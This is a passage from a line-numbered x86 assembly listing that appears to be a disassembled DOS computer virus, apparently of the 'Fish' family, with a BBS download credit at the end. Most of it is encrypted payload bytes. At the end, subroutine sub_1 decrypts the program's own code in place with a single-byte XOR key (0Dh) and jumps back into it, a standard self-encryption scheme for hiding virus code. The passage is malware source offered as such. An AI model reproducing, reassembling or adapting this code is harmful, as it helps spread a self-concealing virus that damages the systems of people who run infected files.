  444.         db    0B5h, 0Ch, 4Fh, 3Eh, 0DFh, 0E5h
  445.         db    65h, 0FBh, 23h, 84h, 1Bh, 0AAh
  446.         db    3, 23h, 0AEh, 0A8h, 3, 0B5h
  447.         db    0Fh, 4Fh, 3Eh, 0C4h, 3Eh, 0DFh
  448.         db    0E5h, 58h, 0FBh
  449. loc_3:
  450.         and    ax,ds:data_10e[si]    ; (7415:A61B=0)
  451.         add    sp,[bp+di]
  452.         scasb                ; Scan es:[di] for al
  453.         movsb                ; Mov [si] to es:[di]
  454.         add    si,ds:data_9e[di]    ; (7415:4F0D=0)
  455.         and    ax,[bp-57E5h]
  456.         add    sp,[bp+di]
  457.         xchg    al,[bp+di]
  458.         stosb                ; Store al to es:[di]
  459.         add    sp,bp
  460.         xor    bx,di
  461.         in    ax,62h            ; port 62h, 8255 C - sw2, etc.
  462.         sti                ; Enable interrupts
  463.         into                ; Int 4 on overflow
  464.         dec    bx
  465.         inc    sp
  466.         pop    si
  467.         inc    bp
  468.         pop    es
  469.         int    78h
  470.         das                ; Decimal adjust
  471.         and    cx,[bp-41D5h]
  472.         add    si,bx
  473.         in    ax,48h            ; port 48h
  474.         sti                ; Enable interrupts
  475.         in    ax,29h            ; port 29h
  476.         sti                ; Enable interrupts
  477.         jg    loc_4            ; Jump if >
  478.         sti                ; Enable interrupts
  479.         retf                ; Return far
  480.         db    8Dh, 79h, 0Eh, 8Dh
  481. loc_4:
  482.         jcxz    loc_3            ; Jump if cx=0
  483.         in    al,15h            ; port 15h
  484.         hlt                ; Halt processor
  485.         and    cx,[bp-41FDh]
  486.         add    cx,[si]
  487.         in    al,2            ; port 2, DMA-1 bas&add ch 1
  488.         hlt                ; Halt processor
  489.         xor    [si],cx
  490.         js    $+3Ch            ; Jump if sign=1
  491.         and    cx,[bp-41D5h]
  492.         add    si,bx
  493.         sti                ; Enable interrupts
  494.         retf                ; Return far
  495.         db    8Dh, 79h, 0Eh, 8Dh, 0E3h, 0C5h
  496.         db    0E5h, 6Bh, 0F2h, 79h, 0Eh, 8Dh
  497.         db    0CBh, 0C5h, 0E5h, 0FCh, 0F8h, 84h
  498.         db    4Bh, 0F1h, 23h, 8Eh, 1Bh, 0BEh
  499.         db    3, 0Dh, 0E4h, 48h, 0F4h, 31h
  500.         db    0Fh, 78h, 3, 0E5h, 46h, 0F2h
  501.         db    79h, 4, 8Ch, 63h, 0FBh, 0Dh
  502.         db    3, 8Eh, 53h, 0F5h, 0Dh, 0E4h
  503.         db    0C0h, 0F5h, 0E5h, 0D5h, 0F8h, 0B9h
  504.         db    27h, 0E5h, 0C5h, 0F8h, 8Ch, 0F4h
  505.         db    0CAh, 0Ah, 7Fh, 6, 0B9h, 4
  506.         db    3, 12h, 0B7h, 0A6h, 0Ch, 0E5h
  507.         db    0B5h, 0F8h, 0F9h, 0E5h, 0DFh, 0F8h
  508.         db    0CEh, 23h, 8Dh, 2Bh, 0BEh, 3
  509.         db    0F3h, 0E5h, 1Ah, 0F2h, 79h, 0D8h
  510.         db    23h, 84h, 1Bh, 0A0h, 3, 23h
  511.         db    84h, 3, 0A2h, 3, 23h, 0CAh
  512.         db    0Bh, 0BCh, 3, 0Dh, 0Dh, 0E5h
  513.         db    12h, 0F2h, 23h, 0ACh, 0A4h, 3
  514.         db    23h, 86h, 1Bh, 0A6h, 3, 20h
  515.         db    0Dh, 3, 8Eh, 0D7h, 0Dh, 23h
  516.         db    26h, 0Bh, 0A8h, 3, 23h, 16h
  517.         db    1Bh, 0AAh, 3, 74h, 5, 0CAh
  518.         db    4Bh, 0F1h, 0Dh, 0Dh, 0E4h, 20h
  519.         db    0F7h, 78h, 5, 36h, 0CCh, 7Ah
  520.         db    9, 23h, 0AEh, 0A2h, 3, 23h
  521.         db    86h, 3, 0AAh, 3, 23h, 86h
  522.         db    1Bh, 0A8h, 3, 6, 0C4h, 78h
  523.         db    8, 8Eh, 0F7h, 11h, 7Bh, 17h
  524.         db    23h, 86h, 1Bh, 0A0h, 3, 0B9h
  525.         db    32h, 23h, 86h, 3, 0A2h, 3
  526.         db    0E5h, 48h, 0F8h, 23h, 0Eh, 0Bh
  527.         db    0BCh, 3, 84h, 4Bh, 0F1h, 0E4h
  528.         db    97h, 0F5h, 84h, 0DAh, 84h, 0DBh
  529.         db    23h, 0Eh, 33h, 0A2h, 3, 8Eh
  530.         db    0F2h, 11h, 7Fh, 5, 3Eh, 0F2h
  531.         db    0E6h, 4, 59h, 58h, 43h, 4Ch
  532.         db    8Eh, 0E2h, 11h, 0FAh, 0D2h, 86h
  533.         db    0CFh, 23h, 86h, 1Bh, 0A4h, 3
  534.         db    23h, 86h, 3, 0A6h, 3, 8Eh
  535.         db    0CFh, 2, 8Eh, 0DCh, 0Dh, 8Eh
  536.         db    0EFh, 0FDh, 8Ch, 0E7h, 0F1h, 0
  537.         db    8Eh, 0D4h, 0Dh, 0Ch, 0CFh, 8Eh
  538.         db    0DCh, 0Dh, 0B5h, 0Dh, 4Fh, 0E5h
  539.         db    0F5h, 0F9h, 0B4h, 11h, 0Dh, 24h
  540.         db    0F4h, 24h, 0FCh, 0B9h, 32h, 23h
  541.         db    86h, 1Bh, 0A0h, 3, 0E5h, 0EAh
  542.         db    0F9h, 23h, 0Ch, 0Bh, 0A0h, 3
  543.         db    23h, 24h, 0Bh, 0A2h, 3, 23h
  544.         db    0Ch, 0Bh, 0BCh, 3, 3Eh, 0C4h
  545.         db    0B5h, 0Dh, 4Fh, 0B7h, 11h, 0Dh
  546.         db    0E5h, 0C0h, 0F9h, 0E4h, 7Bh, 0F2h
  547.         db    23h, 2Ch, 2Bh, 3Ch, 3, 0E4h
  548.         db    35h, 0Ch, 23h, 8Eh, 2Bh, 0BEh
  549.         db    3, 0F3h, 0E5h, 0DAh, 0F9h, 0E5h
  550.         db    0BBh, 0F9h, 0E5h, 0B3h, 0F9h, 7Eh
  551.         db    4, 23h, 8Eh, 3, 0BEh, 3
  552.         db    0Ch, 0E4h, 5, 0F5h, 0E5h, 94h
  553.         db    0F4h, 0FBh, 4Ah, 14h, 8Dh, 78h
  554.         db    0Eh, 0E4h, 0F1h, 0FAh, 8Ch, 62h
  555.         db    17h, 0Dh, 3, 8Eh, 52h, 11h
  556.         db    0Dh, 8Dh
  557.         db    62h
  558. loc_5:
  559.         adc    al,0C5h
  560.         in    al,0E1h            ; port 0E1h
  561.         cli                ; Disable interrupts
  562.         out    83h,al            ; port 83h, DMA page reg ch 1
  563.         or    cx,[bx+si+3]
  564.         or    dx,[bp+si]
  565.         db    0F3h, 3, 0Eh, 0Dh, 81h, 0D7h
  566.         db    47h, 83h, 0D7h, 0ACh, 0Eh, 0Dh
  567.         db    0F3h, 0C1h, 0Ch, 0CFh, 0AEh, 0Eh
  568.         db    0Dh, 52h, 4Fh, 83h, 0CFh, 3
  569.         db    12h, 0E5h, 0D2h, 0Dh, 0ACh, 0B3h
  570.         db    0F3h, 2, 0B4h, 0Dh, 5, 84h
  571.         db    0FAh, 0F0h, 0FEh, 0A8h, 0F1h, 0Bh
  572.         db    0B5h, 0D0h, 0Ch, 5Dh, 23h, 83h
  573.         db    0Bh, 48h, 3, 0C6h, 23h, 0CBh
  574.         db    0Bh, 0D7h, 3, 0Dh, 0E5h, 0AEh
  575.         db    0F9h, 3, 0E5h, 77h, 0F2h, 85h
  576.         db    0BDh, 1Eh, 12h, 0E5h, 0F1h, 0F9h
  577.         db    81h, 0Bh, 22h, 3, 84h, 13h
  578.         db    20h, 3, 81h, 0Bh, 36h, 3
  579.         db    0BFh, 0Fh, 84h, 13h, 34h, 3
  580.         db    85h, 1Bh, 5Dh, 3, 0E5h, 0CFh
  581.         db    0F9h, 84h, 2Bh, 0D2h, 3, 81h
  582.         db    1Bh, 0D0h, 3, 3, 0B5h, 24h
  583.         db    1, 5Dh, 0B5h, 7Dh, 0Dh, 0B4h
  584.         db    0F2h, 0F2h, 83h, 0CDh, 3Eh, 0F2h
  585.         db    0BDh, 0C6h, 0FFh, 0A3h
  586. data_6        db    42h            ; Data table (indexed access)
  587.         db    91h, 0Bh, 5Ah, 91h, 55h, 8Dh
  588.         db    0C1h, 0Ch, 5Dh, 90h, 3Eh, 0CDh
  589.         db    0F2h, 23h, 20h, 3, 3, 12h
  590.         db    0E5h, 64h, 0Dh, 81h, 0BDh, 1Eh
  591.         db    0B7h, 9Dh, 0, 0E5h, 9Eh, 0F9h
  592.         db    0BDh, 29h, 0E5h, 0A9h, 0F9h, 84h
  593.         db    13h, 30h, 3, 0B7h, 0C8h, 0
  594.         db    0BDh, 29h, 81h, 0Bh, 32h, 3
  595.         db    0E5h, 73h, 0F9h, 0E5h, 5, 0F9h
  596.         db    0CEh, 0E5h, 24h, 0F9h, 23h, 0C8h
  597.         db    1Bh, 34h, 3, 0BDh, 1Eh, 0E5h
  598.         db    60h, 0F9h, 23h, 0C8h, 1Bh, 30h
  599.         db    3, 0BDh, 29h, 0E5h, 6Eh, 0F9h
  600.         db    0E5h, 0E0h, 0FEh, 0CEh, 58h, 84h
  601.         db    0E8h, 8Ch, 6Bh, 0Bh, 0F2h, 0F3h
  602.         db    0F2h, 4Bh, 17h, 50h, 0C2h, 23h
  603.         db    0CAh, 0Bh, 5Dh, 3, 0Ch, 9
  604.         db    0E5h, 30h, 0F9h, 0E5h, 0B7h, 0FEh
  605.         db    5Dh, 23h, 0ACh, 0BEh, 3, 0
  606.         db    0Dh, 0Ch, 5Dh, 90h, 55h, 50h
  607.         db    23h, 0F2h, 23h, 38h, 3, 84h
  608.         db    0E5h, 9Fh, 0FEh, 0BDh, 0Ch, 0B7h
  609.         db    66h, 1, 3, 12h, 0E5h, 2Bh
  610.         db    0F9h, 91h, 55h, 0, 0Dh, 0Ch
  611.         db    5Dh, 90h, 4Dh, 0FAh, 0EDh, 3Ah
  612.         db    0AEh, 3Ch, 3, 0E5h, 87h, 0FEh
  613.         db    0CEh, 0F2h, 58h, 84h, 0E8h, 5Dh
  614.         db    8Ch, 73h, 9, 0Dh, 0CDh, 7Eh
  615.         db    1, 23h, 0ACh, 4Ah, 3, 34h
  616.         db    4Bh, 9, 7Bh, 0Eh, 55h, 50h
  617.         db    0C2h, 23h, 8Dh, 33h, 5Dh, 3
  618.         db    0Ch, 79h, 2Bh, 86h, 4Bh, 9
  619.         db    23h, 0AEh, 22h, 3, 86h, 4Bh
  620.         db    0Fh, 23h, 0AEh, 20h, 3, 7Fh
  621.         db    2, 55h, 50h, 23h, 86h, 2Bh
  622.         db    0D2h, 3, 23h, 83h, 1Bh, 0D0h
  623.         db    3, 0E4h, 39h, 0F2h, 8Ch, 6Bh
  624.         db    0Bh, 0F2h, 0F3h, 0E6h, 0C2h, 23h
  625.         db    0F3h, 3, 5Ch, 3, 78h, 0C5h
  626.         db    8Ch, 6Bh, 0Bh, 0F2h, 0F3h, 0E5h
  627.         db    7Ch, 0FEh, 0E5h, 13h, 0FEh, 0B9h
  628.         db    21h, 0E5h, 3, 0FEh, 23h, 85h
  629.         db    1Bh, 5Ch, 0, 23h, 85h, 1Bh
  630.         db    63h, 0, 8Dh, 0E1h, 0Fh, 0E5h
  631.         db    0F3h, 0FFh, 0Fh, 0FFh
  632. data_7        dd    893B8523h
  633.         db    0, 23h, 85h, 3Bh, 0D1h, 0
  634.         db    0BDh, 0Eh
  635. data_8        dd    0BFEA1E5h
  636.         db    12h, 84h, 0D7h, 0BDh, 0Ch, 0E5h
  637.         db    80h, 0FEh, 0E5h, 0F2h, 0FFh, 0E5h
  638.         db    52h, 0FEh, 0E5h, 1Ch, 0FEh, 5Eh
  639.         db    5Ch, 0B6h, 25h, 0Dh, 0B4h, 8Ah
  640.         db    0Fh, 23h, 8Dh, 3Ah, 10h, 8Eh
  641.         db    0CEh, 8, 0EFh, 0FAh, 54h, 56h
  642.         db    0E6h, 97h, 23h, 8Dh, 3, 25h
  643.         db    0Dh, 0Dh, 79h, 1Eh, 5Eh, 5Ch
  644.         db    0B6h, 25h, 0Dh, 0B4h, 8Ah, 0Fh
  645.         db    23h, 8Dh, 3Ah, 10h, 8Eh, 0CEh
  646.         db    8, 0EFh, 0FAh, 54h, 56h, 0E4h
  647.         db    0FEh, 0F9h, 5Ch, 5Eh, 0B6h, 25h
  648.         db    0Dh, 0B4h, 55h, 0Dh, 2Eh, 80h
  649.         db    37h, 0Dh, 43h, 0E2h, 0F9h, 5Bh
  650.         db    59h, 0E8h, 94h, 0F2h, 0EBh, 3Fh
  651.         db    0B8h, 2Eh, 8Fh, 6, 41h, 0Eh
  652.         db    2Eh, 8Fh, 6, 43h, 0Eh, 2Eh
  653.         db    8Fh, 6, 0DBh, 0Eh, 2Eh, 83h
  654.         db    26h, 0DBh, 0Eh, 0FEh, 2Eh, 80h
  655.         db    3Eh, 0DAh, 0Eh, 0, 75h, 11h
  656.         db    2Eh, 0FFh, 36h, 0DBh, 0Eh, 2Eh
  657.         db    0FFh, 1Eh, 2Dh, 0Eh, 73h, 6
  658.         db    2Eh, 0FEh, 6, 0DAh, 0Eh, 0F9h
  659.         db    2Eh, 0FFh, 2Eh, 41h, 0Eh, 89h
  660.         db    32h, 0C0h, 2Eh, 0C6h, 6, 0DAh
  661.         db    0Eh, 1, 0CFh
  662. loc_6:
  663.         call    sub_1            ; (0EE1)
  664.   
  665. fish        endp
  666.   
  667. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  668. ;                   SUBROUTINE
  669. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  670.   
  671. sub_1        proc    near
  672.         pop    bx
  673.         sub    bx,0DA9h
  674.         mov    cx,0D58h
  675.   
  676. locloop_7:
  677.         xor    byte ptr cs:[bx],0Dh
  678.         inc    bx
  679.         loop    locloop_7        ; Loop if cx > 0
  680.   
  681.         dec    byte ptr cs:data_1e[bx]    ; (7415:00B3=0)
  682.         jz    loc_ret_8        ; Jump if zero
  683.         jmp    loc_1            ; (035A)
  684.   
  685. loc_ret_8:
  686.         retn
  687. sub_1        endp
  688.   
  689.         db    20h, 46h, 49h, 53h, 48h, 20h
  690.         db    46h
  691.   
  692. seg_a        ends
  693.   
  694.   
  695.   
  696.         end    start
  697.  
  698. Downloaded From P-80 International Information Systems 304-744-2253
  699.